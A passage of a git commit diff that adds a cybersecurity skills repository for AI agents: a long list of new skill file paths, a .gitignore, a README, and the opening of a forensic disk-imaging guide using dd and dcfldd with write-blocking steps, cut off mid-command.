skills/performing-disk-forensics-investigation/SKILL.md create mode 100644 skills/performing-dmarc-policy-enforcement-rollout/SKILL.md create mode 100644 skills/performing-dmarc-policy-enforcement-rollout/assets/template.md create mode 100644 skills/performing-dmarc-policy-enforcement-rollout/references/standards.md create mode 100644 skills/performing-dmarc-policy-enforcement-rollout/references/workflows.md create mode 100644 skills/performing-dmarc-policy-enforcement-rollout/scripts/process.py create mode 100644 skills/performing-dns-enumeration-and-zone-transfer/SKILL.md create mode 100644 skills/performing-docker-bench-security-assessment/SKILL.md create mode 100644 skills/performing-docker-bench-security-assessment/assets/template.md create mode 100644 skills/performing-docker-bench-security-assessment/references/standards.md create mode 100644 skills/performing-docker-bench-security-assessment/references/workflows.md create mode 100644 skills/performing-docker-bench-security-assessment/scripts/process.py create mode 100644 skills/performing-dynamic-analysis-of-android-app/SKILL.md create mode 100644 skills/performing-dynamic-analysis-of-android-app/assets/template.md create mode 100644 skills/performing-dynamic-analysis-of-android-app/references/standards.md create mode 100644 skills/performing-dynamic-analysis-of-android-app/references/workflows.md create mode 100644 skills/performing-dynamic-analysis-of-android-app/scripts/process.py create mode 100644 skills/performing-dynamic-analysis-with-any-run/SKILL.md create mode 100644 skills/performing-endpoint-forensics-investigation/SKILL.md create mode 100644 skills/performing-endpoint-forensics-investigation/assets/template.md create mode 100644 skills/performing-endpoint-forensics-investigation/references/standards.md create mode 100644 skills/performing-endpoint-forensics-investigation/references/workflows.md create mode 100644 skills/performing-endpoint-forensics-investigation/scripts/process.py create mode 100644 skills/performing-endpoint-vulnerability-remediation/SKILL.md create mode 100644 skills/performing-endpoint-vulnerability-remediation/assets/template.md create mode 100644 skills/performing-endpoint-vulnerability-remediation/references/standards.md create mode 100644 skills/performing-endpoint-vulnerability-remediation/references/workflows.md create mode 100644 skills/performing-endpoint-vulnerability-remediation/scripts/process.py create mode 100644 skills/performing-entitlement-review-with-sailpoint-iiq/SKILL.md create mode 100644 skills/performing-external-network-penetration-test/SKILL.md create mode 100644 skills/performing-external-network-penetration-test/assets/template.md create mode 100644 skills/performing-external-network-penetration-test/references/standards.md create mode 100644 skills/performing-external-network-penetration-test/references/workflows.md create mode 100644 skills/performing-external-network-penetration-test/scripts/process.py create mode 100644 skills/performing-false-positive-reduction-in-siem/SKILL.md create mode 100644 skills/performing-false-positive-reduction-in-siem/assets/template.md create mode 100644 skills/performing-false-positive-reduction-in-siem/references/standards.md create mode 100644 skills/performing-false-positive-reduction-in-siem/references/workflows.md create mode 100644 skills/performing-false-positive-reduction-in-siem/scripts/process.py create mode 100644 skills/performing-file-carving-with-foremost/SKILL.md create mode 100644 skills/performing-firmware-malware-analysis/SKILL.md create mode 100644 skills/performing-gcp-security-assessment-with-forseti/SKILL.md create mode 100644 skills/performing-graphql-depth-limit-attack/SKILL.md create mode 100644 skills/performing-graphql-introspection-attack/SKILL.md create mode 100644 skills/performing-graphql-security-assessment/SKILL.md create mode 100644 skills/performing-hash-cracking-with-hashcat/SKILL.md create mode 100644 skills/performing-hash-cracking-with-hashcat/assets/template.md create mode 100644 skills/performing-hash-cracking-with-hashcat/references/standards.md create mode 100644 skills/performing-hash-cracking-with-hashcat/references/workflows.md create mode 100644 skills/performing-hash-cracking-with-hashcat/scripts/process.py create mode 100644 skills/performing-http-parameter-pollution-attack/SKILL.md create mode 100644 skills/performing-ics-asset-discovery-with-claroty/SKILL.md create mode 100644 skills/performing-indicator-lifecycle-management/SKILL.md create mode 100644 skills/performing-indicator-lifecycle-management/assets/template.md create mode 100644 skills/performing-indicator-lifecycle-management/references/standards.md create mode 100644 skills/performing-indicator-lifecycle-management/references/workflows.md create mode 100644 skills/performing-indicator-lifecycle-management/scripts/process.py create mode 100644 skills/performing-initial-access-with-evilginx3/SKILL.md create mode 100644 skills/performing-initial-access-with-evilginx3/assets/template.md create mode 100644 skills/performing-initial-access-with-evilginx3/references/standards.md create mode 100644 skills/performing-initial-access-with-evilginx3/references/workflows.md create mode 100644 skills/performing-initial-access-with-evilginx3/scripts/process.py create mode 100644 skills/performing-insider-threat-investigation/SKILL.md create mode 100644 skills/performing-ioc-enrichment-automation/SKILL.md create mode 100644 skills/performing-iot-security-assessment/SKILL.md create mode 100644 skills/performing-ip-reputation-analysis-with-shodan/SKILL.md create mode 100644 skills/performing-jwt-none-algorithm-attack/SKILL.md create mode 100644 skills/performing-kerberoasting-attack/SKILL.md create mode 100644 skills/performing-kerberoasting-attack/assets/template.md create mode 100644 skills/performing-kerberoasting-attack/references/standards.md create mode 100644 skills/performing-kerberoasting-attack/references/workflows.md create mode 100644 skills/performing-kerberoasting-attack/scripts/process.py create mode 100644 skills/performing-kubernetes-cis-benchmark-with-kube-bench/SKILL.md create mode 100644 skills/performing-kubernetes-cis-benchmark-with-kube-bench/assets/template.md create mode 100644 skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/standards.md create mode 100644 skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/workflows.md create mode 100644 skills/performing-kubernetes-cis-benchmark-with-kube-bench/scripts/process.py create mode 100644 skills/performing-kubernetes-etcd-security-assessment/SKILL.md create mode 100644 skills/performing-kubernetes-etcd-security-assessment/assets/template.md create mode 100644 skills/performing-kubernetes-etcd-security-assessment/references/standards.md create mode 100644 skills/performing-kubernetes-etcd-security-assessment/references/workflows.md create mode 100644 skills/performing-kubernetes-etcd-security-assessment/scripts/process.py create mode 100644 skills/performing-kubernetes-penetration-testing/SKILL.md create mode 100644 skills/performing-kubernetes-penetration-testing/assets/template.md create mode 100644 skills/performing-kubernetes-penetration-testing/references/standards.md create mode 100644 skills/performing-kubernetes-penetration-testing/references/workflows.md create mode 100644 skills/performing-kubernetes-penetration-testing/scripts/process.py create mode 100644 skills/performing-lateral-movement-detection/SKILL.md create mode 100644 skills/performing-lateral-movement-with-wmiexec/SKILL.md create mode 100644 skills/performing-lateral-movement-with-wmiexec/assets/template.md create mode 100644 skills/performing-lateral-movement-with-wmiexec/references/standards.md create mode 100644 skills/performing-lateral-movement-with-wmiexec/references/workflows.md create mode 100644 skills/performing-lateral-movement-with-wmiexec/scripts/process.py create mode 100644 skills/performing-linux-log-forensics-investigation/SKILL.md create mode 100644 skills/performing-linux-log-forensics-investigation/assets/template.md create mode 100644 skills/performing-linux-log-forensics-investigation/references/standards.md create mode 100644 skills/performing-linux-log-forensics-investigation/references/workflows.md create mode 100644 skills/performing-linux-log-forensics-investigation/scripts/process.py create mode 100644 skills/performing-log-analysis-for-forensic-investigation/SKILL.md create mode 100644 skills/performing-log-source-onboarding-in-siem/SKILL.md create mode 100644 skills/performing-log-source-onboarding-in-siem/assets/template.md create mode 100644 skills/performing-log-source-onboarding-in-siem/references/standards.md create mode 100644 skills/performing-log-source-onboarding-in-siem/references/workflows.md create mode 100644 skills/performing-log-source-onboarding-in-siem/scripts/process.py create mode 100644 skills/performing-malware-hash-enrichment-with-virustotal/SKILL.md create mode 100644 skills/performing-malware-ioc-extraction/SKILL.md create mode 100644 skills/performing-malware-ioc-extraction/assets/template.md create mode 100644 skills/performing-malware-ioc-extraction/references/standards.md create mode 100644 skills/performing-malware-ioc-extraction/references/workflows.md create mode 100644 skills/performing-malware-ioc-extraction/scripts/process.py create mode 100644 skills/performing-malware-persistence-investigation/SKILL.md create mode 100644 skills/performing-malware-triage-with-yara/SKILL.md create mode 100644 skills/performing-memory-forensics-with-volatility3-plugins/SKILL.md create mode 100644 skills/performing-memory-forensics-with-volatility3-plugins/assets/template.md create mode 100644 skills/performing-memory-forensics-with-volatility3-plugins/references/standards.md create mode 100644 skills/performing-memory-forensics-with-volatility3-plugins/references/workflows.md create mode 100644 skills/performing-memory-forensics-with-volatility3-plugins/scripts/process.py create mode 100644 skills/performing-memory-forensics-with-volatility3/SKILL.md create mode 100644 skills/performing-mobile-app-certificate-pinning-bypass/SKILL.md create mode 100644 skills/performing-mobile-app-certificate-pinning-bypass/assets/template.md create mode 100644 skills/performing-mobile-app-certificate-pinning-bypass/references/standards.md create mode 100644 skills/performing-mobile-app-certificate-pinning-bypass/references/workflows.md create mode 100644 skills/performing-mobile-app-certificate-pinning-bypass/scripts/process.py create mode 100644 skills/performing-mobile-device-forensics-with-cellebrite/SKILL.md create mode 100644 skills/performing-network-forensics-with-wireshark/SKILL.md create mode 100644 skills/performing-network-packet-capture-analysis/SKILL.md create mode 100644 skills/performing-network-packet-capture-analysis/assets/template.md create mode 100644 skills/performing-network-packet-capture-analysis/references/standards.md create mode 100644 skills/performing-network-packet-capture-analysis/references/workflows.md create mode 100644 skills/performing-network-packet-capture-analysis/scripts/process.py create mode 100644 skills/performing-network-traffic-analysis-with-zeek/SKILL.md create mode 100644 skills/performing-nist-csf-maturity-assessment/SKILL.md create mode 100644 skills/performing-nist-csf-maturity-assessment/assets/template.md create mode 100644 skills/performing-nist-csf-maturity-assessment/references/standards.md create mode 100644 skills/performing-nist-csf-maturity-assessment/references/workflows.md create mode 100644 skills/performing-nist-csf-maturity-assessment/scripts/process.py create mode 100644 skills/performing-oauth-scope-minimization-review/SKILL.md create mode 100644 skills/performing-oil-gas-cybersecurity-assessment/SKILL.md create mode 100644 skills/performing-open-source-intelligence-gathering/SKILL.md create mode 100644 skills/performing-open-source-intelligence-gathering/assets/template.md create mode 100644 skills/performing-open-source-intelligence-gathering/references/standards.md create mode 100644 skills/performing-open-source-intelligence-gathering/references/workflows.md create mode 100644 skills/performing-open-source-intelligence-gathering/scripts/process.py create mode 100644 skills/performing-ot-network-security-assessment/SKILL.md create mode 100644 skills/performing-ot-network-security-assessment/assets/template.md create mode 100644 skills/performing-ot-network-security-assessment/references/standards.md create mode 100644 skills/performing-ot-network-security-assessment/references/workflows.md create mode 100644 skills/performing-ot-network-security-assessment/scripts/process.py create mode 100644 skills/performing-ot-vulnerability-assessment-with-claroty/SKILL.md create mode 100644 skills/performing-ot-vulnerability-scanning-safely/SKILL.md create mode 100644 skills/performing-packet-injection-attack/SKILL.md create mode 100644 skills/performing-paste-site-monitoring-for-credentials/SKILL.md create mode 100644 skills/performing-phishing-simulation-with-gophish/SKILL.md create mode 100644 skills/performing-phishing-simulation-with-gophish/assets/template.md create mode 100644 skills/performing-phishing-simulation-with-gophish/references/standards.md create mode 100644 skills/performing-phishing-simulation-with-gophish/references/workflows.md create mode 100644 skills/performing-phishing-simulation-with-gophish/scripts/process.py create mode 100644 skills/performing-physical-intrusion-assessment/SKILL.md create mode 100644 skills/performing-physical-intrusion-assessment/assets/template.md create mode 100644 skills/performing-physical-intrusion-assessment/references/standards.md create mode 100644 skills/performing-physical-intrusion-assessment/references/workflows.md create mode 100644 skills/performing-physical-intrusion-assessment/scripts/process.py create mode 100644 skills/performing-plc-firmware-security-analysis/SKILL.md create mode 100644 skills/performing-power-grid-cybersecurity-assessment/SKILL.md create mode 100644 skills/performing-privilege-escalation-assessment/SKILL.md create mode 100644 skills/performing-privilege-escalation-on-linux/SKILL.md create mode 100644 skills/performing-privilege-escalation-on-linux/references/standards.md create mode 100644 skills/performing-privilege-escalation-on-linux/references/workflows.md create mode 100644 skills/performing-privileged-account-access-review/SKILL.md create mode 100644 skills/performing-privileged-account-access-review/assets/template.md create mode 100644 skills/performing-privileged-account-access-review/references/standards.md create mode 100644 skills/performing-privileged-account-access-review/references/workflows.md create mode 100644 skills/performing-privileged-account-access-review/scripts/process.py create mode 100644 skills/performing-privileged-account-discovery/SKILL.md create mode 100644 skills/performing-purple-team-exercise/SKILL.md create mode 100644 skills/performing-ransomware-incident-response/SKILL.md create mode 100644 skills/performing-ransomware-incident-response/assets/template.md create mode 100644 skills/performing-ransomware-incident-response/references/standards.md create mode 100644 skills/performing-ransomware-incident-response/references/workflows.md create mode 100644 skills/performing-ransomware-incident-response/scripts/process.py create mode 100644 skills/performing-ransomware-response/SKILL.md create mode 100644 skills/performing-ransomware-tabletop-exercise/SKILL.md create mode 100644 skills/performing-ransomware-tabletop-exercise/assets/template.md create mode 100644 skills/performing-ransomware-tabletop-exercise/references/standards.md create mode 100644 skills/performing-ransomware-tabletop-exercise/references/workflows.md create mode 100644 skills/performing-ransomware-tabletop-exercise/scripts/process.py create mode 100644 skills/performing-s7comm-protocol-security-analysis/SKILL.md create mode 100644 skills/performing-sca-dependency-scanning-with-snyk/SKILL.md create mode 100644 skills/performing-sca-dependency-scanning-with-snyk/assets/template.md create mode 100644 skills/performing-sca-dependency-scanning-with-snyk/references/standards.md create mode 100644 skills/performing-sca-dependency-scanning-with-snyk/references/workflows.md create mode 100644 skills/performing-sca-dependency-scanning-with-snyk/scripts/process.py create mode 100644 skills/performing-scada-hmi-security-assessment/SKILL.md create mode 100644 skills/performing-second-order-sql-injection/SKILL.md create mode 100644 skills/performing-security-headers-audit/SKILL.md create mode 100644 skills/performing-serverless-function-security-review/SKILL.md create mode 100644 skills/performing-service-account-audit/SKILL.md create mode 100644 skills/performing-service-account-audit/assets/template.md create mode 100644 skills/performing-service-account-audit/references/standards.md create mode 100644 skills/performing-service-account-audit/references/workflows.md create mode 100644 skills/performing-service-account-audit/scripts/process.py create mode 100644 skills/performing-service-account-credential-rotation/SKILL.md create mode 100644 skills/performing-service-account-credential-rotation/assets/template.md create mode 100644 skills/performing-service-account-credential-rotation/references/standards.md create mode 100644 skills/performing-service-account-credential-rotation/references/workflows.md create mode 100644 skills/performing-service-account-credential-rotation/scripts/process.py create mode 100644 skills/performing-soap-web-service-security-testing/SKILL.md create mode 100644 skills/performing-soc-tabletop-exercise/SKILL.md create mode 100644 skills/performing-soc2-type2-audit-preparation/SKILL.md create mode 100644 skills/performing-soc2-type2-audit-preparation/assets/template.md create mode 100644 skills/performing-soc2-type2-audit-preparation/references/standards.md create mode 100644 skills/performing-soc2-type2-audit-preparation/references/workflows.md create mode 100644 skills/performing-soc2-type2-audit-preparation/scripts/process.py create mode 100644 skills/performing-sqlite-database-forensics/SKILL.md create mode 100644 skills/performing-sqlite-database-forensics/assets/template.md create mode 100644 skills/performing-sqlite-database-forensics/references/standards.md create mode 100644 skills/performing-sqlite-database-forensics/references/workflows.md create mode 100644 skills/performing-sqlite-database-forensics/scripts/process.py create mode 100644 skills/performing-ssl-certificate-lifecycle-management/SKILL.md create mode 100644 skills/performing-ssl-certificate-lifecycle-management/assets/template.md create mode 100644 skills/performing-ssl-certificate-lifecycle-management/references/standards.md create mode 100644 skills/performing-ssl-certificate-lifecycle-management/references/workflows.md create mode 100644 skills/performing-ssl-certificate-lifecycle-management/scripts/process.py create mode 100644 skills/performing-ssl-stripping-attack/SKILL.md create mode 100644 skills/performing-ssl-tls-inspection-configuration/SKILL.md create mode 100644 skills/performing-static-malware-analysis-with-pe-studio/SKILL.md create mode 100644 skills/performing-steganography-detection/SKILL.md create mode 100644 skills/performing-subdomain-enumeration-with-subfinder/SKILL.md create mode 100644 skills/performing-subdomain-enumeration-with-subfinder/assets/template.md create mode 100644 skills/performing-subdomain-enumeration-with-subfinder/references/standards.md create mode 100644 skills/performing-subdomain-enumeration-with-subfinder/references/workflows.md create mode 100644 skills/performing-subdomain-enumeration-with-subfinder/scripts/process.py create mode 100644 skills/performing-thick-client-application-penetration-test/SKILL.md create mode 100644 skills/performing-thick-client-application-penetration-test/assets/template.md create mode 100644 skills/performing-thick-client-application-penetration-test/references/standards.md create mode 100644 skills/performing-thick-client-application-penetration-test/references/workflows.md create mode 100644 skills/performing-thick-client-application-penetration-test/scripts/process.py create mode 100644 skills/performing-threat-hunting-with-elastic-siem/SKILL.md create mode 100644 skills/performing-threat-landscape-assessment-for-sector/SKILL.md create mode 100644 skills/performing-threat-modeling-with-owasp-threat-dragon/SKILL.md create mode 100644 skills/performing-threat-modeling-with-owasp-threat-dragon/assets/template.md create mode 100644 skills/performing-threat-modeling-with-owasp-threat-dragon/references/standards.md create mode 100644 skills/performing-threat-modeling-with-owasp-threat-dragon/references/workflows.md create mode 100644 skills/performing-threat-modeling-with-owasp-threat-dragon/scripts/process.py create mode 100644 skills/performing-timeline-reconstruction-with-plaso/SKILL.md create mode 100644 skills/performing-user-behavior-analytics/SKILL.md create mode 100644 skills/performing-vlan-hopping-attack/SKILL.md create mode 100644 skills/performing-vulnerability-scanning-with-nessus/SKILL.md create mode 100644 skills/performing-web-application-firewall-bypass/SKILL.md create mode 100644 skills/performing-web-application-penetration-test/SKILL.md create mode 100644 skills/performing-web-application-scanning-with-nikto/SKILL.md create mode 100644 skills/performing-web-application-scanning-with-nikto/assets/template.md create mode 100644 skills/performing-web-application-scanning-with-nikto/references/standards.md create mode 100644 skills/performing-web-application-scanning-with-nikto/references/workflows.md create mode 100644 skills/performing-web-application-scanning-with-nikto/scripts/process.py create mode 100644 skills/performing-web-application-vulnerability-triage/SKILL.md create mode 100644 skills/performing-web-application-vulnerability-triage/references/standards.md create mode 100644 skills/performing-web-application-vulnerability-triage/references/workflows.md create mode 100644 skills/performing-web-cache-deception-attack/SKILL.md create mode 100644 skills/performing-web-cache-poisoning-attack/SKILL.md create mode 100644 skills/performing-wifi-password-cracking-with-aircrack/SKILL.md create mode 100644 skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/SKILL.md create mode 100644 skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/assets/template.md create mode 100644 skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/standards.md create mode 100644 skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/workflows.md create mode 100644 skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/scripts/process.py create mode 100644 skills/performing-wireless-network-penetration-test/SKILL.md create mode 100644 skills/performing-wireless-network-penetration-test/assets/template.md create mode 100644 skills/performing-wireless-network-penetration-test/references/standards.md create mode 100644 skills/performing-wireless-network-penetration-test/references/workflows.md create mode 100644 skills/performing-wireless-network-penetration-test/scripts/process.py create mode 100644 skills/performing-wireless-security-assessment-with-kismet/SKILL.md create mode 100644 skills/performing-yara-rule-development-for-detection/SKILL.md create mode 100644 skills/performing-yara-rule-development-for-detection/assets/template.md create mode 100644 skills/performing-yara-rule-development-for-detection/references/standards.md create mode 100644 skills/performing-yara-rule-development-for-detection/references/workflows.md create mode 100644 skills/performing-yara-rule-development-for-detection/scripts/process.py create mode 100644 skills/prioritizing-vulnerabilities-with-cvss-scoring/SKILL.md create mode 100644 skills/prioritizing-vulnerabilities-with-cvss-scoring/assets/template.md create mode 100644 skills/prioritizing-vulnerabilities-with-cvss-scoring/references/standards.md create mode 100644 skills/prioritizing-vulnerabilities-with-cvss-scoring/references/workflows.md create mode 100644 skills/prioritizing-vulnerabilities-with-cvss-scoring/scripts/process.py create mode 100644 skills/processing-stix-taxii-feeds/SKILL.md create mode 100644 skills/profiling-threat-actor-groups/SKILL.md create mode 100644 skills/recovering-deleted-files-with-photorec/SKILL.md create mode 100644 skills/recovering-from-ransomware-attack/SKILL.md create mode 100644 skills/recovering-from-ransomware-attack/references/standards.md create mode 100644 skills/recovering-from-ransomware-attack/references/workflows.md create mode 100644 skills/recovering-from-ransomware-attack/scripts/process.py create mode 100644 skills/remediating-s3-bucket-misconfiguration/SKILL.md create mode 100644 skills/reverse-engineering-android-malware-with-jadx/SKILL.md create mode 100644 skills/reverse-engineering-dotnet-malware-with-dnspy/SKILL.md create mode 100644 skills/reverse-engineering-ios-app-with-frida/SKILL.md create mode 100644 skills/reverse-engineering-ios-app-with-frida/assets/template.md create mode 100644 skills/reverse-engineering-ios-app-with-frida/references/standards.md create mode 100644 skills/reverse-engineering-ios-app-with-frida/references/workflows.md create mode 100644 skills/reverse-engineering-ios-app-with-frida/scripts/process.py create mode 100644 skills/reverse-engineering-malware-with-ghidra/SKILL.md create mode 100644 skills/reverse-engineering-ransomware-encryption-routine/SKILL.md create mode 100644 skills/reverse-engineering-ransomware-encryption-routine/assets/template.md create mode 100644 skills/reverse-engineering-ransomware-encryption-routine/references/standards.md create mode 100644 skills/reverse-engineering-ransomware-encryption-routine/references/workflows.md create mode 100644 skills/reverse-engineering-ransomware-encryption-routine/scripts/process.py create mode 100644 skills/reverse-engineering-rust-malware/SKILL.md create mode 100644 skills/reverse-engineering-rust-malware/assets/template.md create mode 100644 skills/reverse-engineering-rust-malware/references/standards.md create mode 100644 skills/reverse-engineering-rust-malware/references/workflows.md create mode 100644 skills/scanning-container-images-with-grype/SKILL.md create mode 100644 skills/scanning-container-images-with-grype/assets/template.md create mode 100644 skills/scanning-container-images-with-grype/references/standards.md create mode 100644 skills/scanning-container-images-with-grype/references/workflows.md create mode 100644 skills/scanning-container-images-with-grype/scripts/process.py create mode 100644 skills/scanning-containers-with-trivy-in-cicd/SKILL.md create mode 100644 skills/scanning-containers-with-trivy-in-cicd/assets/template.md create mode 100644 skills/scanning-containers-with-trivy-in-cicd/references/standards.md create mode 100644 skills/scanning-containers-with-trivy-in-cicd/references/workflows.md create mode 100644 skills/scanning-containers-with-trivy-in-cicd/scripts/process.py create mode 100644 skills/scanning-docker-images-with-trivy/SKILL.md create mode 100644 skills/scanning-docker-images-with-trivy/assets/template.md create mode 100644 skills/scanning-docker-images-with-trivy/references/standards.md create mode 100644 skills/scanning-docker-images-with-trivy/references/workflows.md create mode 100644 skills/scanning-docker-images-with-trivy/scripts/process.py create mode 100644 skills/scanning-infrastructure-with-nessus/SKILL.md create mode 100644 skills/scanning-infrastructure-with-nessus/assets/template.md create mode 100644 skills/scanning-infrastructure-with-nessus/references/standards.md create mode 100644 skills/scanning-infrastructure-with-nessus/references/workflows.md create mode 100644 skills/scanning-infrastructure-with-nessus/scripts/process.py create mode 100644 skills/scanning-kubernetes-manifests-with-kubesec/SKILL.md create mode 100644 skills/scanning-kubernetes-manifests-with-kubesec/assets/template.md create mode 100644 skills/scanning-kubernetes-manifests-with-kubesec/references/standards.md create mode 100644 skills/scanning-kubernetes-manifests-with-kubesec/references/workflows.md create mode 100644 skills/scanning-kubernetes-manifests-with-kubesec/scripts/process.py create mode 100644 skills/scanning-network-with-nmap-advanced/SKILL.md create mode 100644 skills/securing-api-gateway-with-aws-waf/SKILL.md create mode 100644 skills/securing-aws-iam-permissions/SKILL.md create mode 100644 skills/securing-aws-lambda-execution-roles/SKILL.md create mode 100644 skills/securing-azure-with-microsoft-defender/SKILL.md create mode 100644 skills/securing-container-registry-images/SKILL.md create mode 100644 skills/securing-container-registry-with-harbor/SKILL.md create mode 100644 skills/securing-container-registry-with-harbor/assets/template.md create mode 100644 skills/securing-container-registry-with-harbor/references/standards.md create mode 100644 skills/securing-container-registry-with-harbor/references/workflows.md create mode 100644 skills/securing-container-registry-with-harbor/scripts/process.py create mode 100644 skills/securing-github-actions-workflows/SKILL.md create mode 100644 skills/securing-github-actions-workflows/assets/template.md create mode 100644 skills/securing-github-actions-workflows/references/standards.md create mode 100644 skills/securing-github-actions-workflows/references/workflows.md create mode 100644 skills/securing-github-actions-workflows/scripts/process.py create mode 100644 skills/securing-helm-chart-deployments/SKILL.md create mode 100644 skills/securing-helm-chart-deployments/assets/template.md create mode 100644 skills/securing-helm-chart-deployments/references/standards.md create mode 100644 skills/securing-helm-chart-deployments/references/workflows.md create mode 100644 skills/securing-helm-chart-deployments/scripts/process.py create mode 100644 skills/securing-historian-server-in-ot-environment/SKILL.md create mode 100644 skills/securing-kubernetes-on-cloud/SKILL.md create mode 100644 skills/securing-remote-access-to-ot-environment/SKILL.md create mode 100644 skills/securing-serverless-functions/SKILL.md create mode 100644 skills/testing-android-intents-for-vulnerabilities/SKILL.md create mode 100644 skills/testing-android-intents-for-vulnerabilities/assets/template.md create mode 100644 skills/testing-android-intents-for-vulnerabilities/references/standards.md create mode 100644 skills/testing-android-intents-for-vulnerabilities/references/workflows.md create mode 100644 skills/testing-android-intents-for-vulnerabilities/scripts/process.py create mode 100644 skills/testing-api-authentication-weaknesses/SKILL.md create mode 100644 skills/testing-api-for-broken-object-level-authorization/SKILL.md create mode 100644 skills/testing-api-for-mass-assignment-vulnerability/SKILL.md create mode 100644 skills/testing-api-security-with-owasp-top-10/SKILL.md create mode 100644 skills/testing-cors-misconfiguration/SKILL.md create mode 100644 skills/testing-for-broken-access-control/SKILL.md create mode 100644 skills/testing-for-business-logic-vulnerabilities/SKILL.md create mode 100644 skills/testing-for-email-header-injection/SKILL.md create mode 100644 skills/testing-for-host-header-injection/SKILL.md create mode 100644 skills/testing-for-json-web-token-vulnerabilities/SKILL.md create mode 100644 skills/testing-for-open-redirect-vulnerabilities/SKILL.md create mode 100644 skills/testing-for-sensitive-data-exposure/SKILL.md create mode 100644 skills/testing-for-xml-injection-vulnerabilities/SKILL.md create mode 100644 skills/testing-for-xss-vulnerabilities-with-burpsuite/SKILL.md create mode 100644 skills/testing-for-xss-vulnerabilities/SKILL.md create mode 100644 skills/testing-for-xxe-injection-vulnerabilities/SKILL.md create mode 100644 skills/testing-jwt-token-security/SKILL.md create mode 100644 skills/testing-mobile-api-authentication/SKILL.md create mode 100644 skills/testing-mobile-api-authentication/assets/template.md create mode 100644 skills/testing-mobile-api-authentication/references/standards.md create mode 100644 skills/testing-mobile-api-authentication/references/workflows.md create mode 100644 skills/testing-mobile-api-authentication/scripts/process.py create mode 100644 skills/testing-oauth2-implementation-flaws/SKILL.md create mode 100644 skills/testing-websocket-api-security/SKILL.md create mode 100644 skills/tracking-threat-actor-infrastructure/SKILL.md create mode 100644 skills/tracking-threat-actor-infrastructure/assets/template.md create mode 100644 skills/tracking-threat-actor-infrastructure/references/standards.md create mode 100644 skills/tracking-threat-actor-infrastructure/references/workflows.md create mode 100644 skills/tracking-threat-actor-infrastructure/scripts/process.py create mode 100644 skills/triaging-security-alerts-in-splunk/SKILL.md create mode 100644 skills/triaging-security-incident-with-ir-playbook/SKILL.md create mode 100644 skills/triaging-security-incident-with-ir-playbook/assets/template.md create mode 100644 skills/triaging-security-incident-with-ir-playbook/references/standards.md create mode 100644 skills/triaging-security-incident-with-ir-playbook/references/workflows.md create mode 100644 skills/triaging-security-incident-with-ir-playbook/scripts/process.py create mode 100644 skills/triaging-security-incident/SKILL.md create mode 100644 skills/triaging-vulnerabilities-with-ssvc-framework/SKILL.md create mode 100644 skills/triaging-vulnerabilities-with-ssvc-framework/references/standards.md create mode 100644 skills/triaging-vulnerabilities-with-ssvc-framework/references/workflows.md create mode 100644 skills/triaging-vulnerabilities-with-ssvc-framework/scripts/process.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..0c9e9205 --- /dev/null +++ b/.gitignore @@ -0,0 +1,14 @@ +.claude/ +.claude-plugin/ +teams/ +node_modules/ +__pycache__/ +*.py[cod] +*.bin +*.pt +*.safetensors +*.gguf +*.onnx +.DS_Store +Thumbs.db +*.swp diff --git a/README.md b/README.md new file mode 100644 index 00000000..ce27abc6 --- /dev/null +++ b/README.md @@ -0,0 +1,45 @@ +# Anthropic Cybersecurity Skills + +An open-source database of 600+ cybersecurity skills for AI agents, practitioners, and security teams. + +## Structure + +``` +skills/cybersecurity/{skill-name}/ +├── SKILL.md # Skill definition with YAML frontmatter +├── references/ +│ ├── standards.md # Real standard numbers, CVE refs, NIST/MITRE links +│ └── workflows.md # Deep technical procedure reference +├── scripts/ +│ └── process.py # Real practitioner helper script +└── assets/ + └── template.md # Real filled-in checklist/report template +``` + +## Domains Covered + +- Web Application Security +- Network Security +- Penetration Testing +- Red Teaming +- Digital Forensics & Incident Response (DFIR) +- Malware Analysis +- Threat Intelligence +- Cloud Security +- Container Security +- Identity & Access Management +- Cryptography +- Vulnerability Management +- Compliance & Governance +- Zero Trust Architecture +- OT/ICS Security +- DevSecOps +- And more... + +## Usage + +Each `SKILL.md` follows the agentskills.io open standard with YAML frontmatter and structured Markdown body. + +## License + +MIT diff --git a/skills/acquiring-disk-image-with-dd-and-dcfldd/SKILL.md b/skills/acquiring-disk-image-with-dd-and-dcfldd/SKILL.md new file mode 100644 index 00000000..cd9a1df8 --- /dev/null +++ b/skills/acquiring-disk-image-with-dd-and-dcfldd/SKILL.md @@ -0,0 +1,230 @@ +--- +name: acquiring-disk-image-with-dd-and-dcfldd +description: Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification. +domain: cybersecurity +subdomain: digital-forensics +tags: [forensics, disk-imaging, evidence-acquisition, dd, dcfldd, hash-verification] +version: "1.0" +author: mahipal +license: MIT +--- + +# Acquiring Disk Image with dd and dcfldd + +## When to Use +- When you need to create a forensic copy of a suspect drive for investigation +- During incident response when preserving volatile disk evidence before analysis +- When law enforcement or legal proceedings require a verified bit-for-bit copy +- Before performing any destructive analysis on a storage device +- When acquiring images from physical drives, USB devices, or memory cards + +## Prerequisites +- Linux-based forensic workstation (SIFT, Kali, or any Linux distro) +- `dd` (pre-installed on all Linux systems) or `dcfldd` (enhanced forensic version) +- Write-blocker hardware or software write-blocking configured +- Destination drive with sufficient storage (larger than source) +- Root/sudo privileges on the forensic workstation +- SHA-256 or MD5 hashing utilities (`sha256sum`, `md5sum`) + +## Workflow + +### Step 1: Identify the Target Device and Enable Write Protection + +```bash +# List all connected block devices to identify the target +lsblk -o NAME,SIZE,TYPE,MOUNTPOINT,MODEL + +# Verify the device details +fdisk -l /dev/sdb + +# Enable software write-blocking (if no hardware blocker) +blockdev --setro /dev/sdb + +# Verify read-only status +blockdev --getro /dev/sdb +# Output: 1 (means read-only is enabled) + +# Alternatively, use udev rules for persistent write-blocking +echo 'SUBSYSTEM=="block", ATTRS{serial}=="WD-WCAV5H861234", ATTR{ro}="1"' > /etc/udev/rules.d/99-writeblock.rules +udevadm control --reload-rules +``` + +### Step 2: Prepare the Destination and Document the Source + +```bash +# Create case directory structure +mkdir -p /cases/case-2024-001/{images,hashes,logs,notes} + +# Document source drive information +hdparm -I /dev/sdb > /cases/case-2024-001/notes/source_drive_info.txt + +# Record the serial number and model +smartctl -i /dev/sdb >> 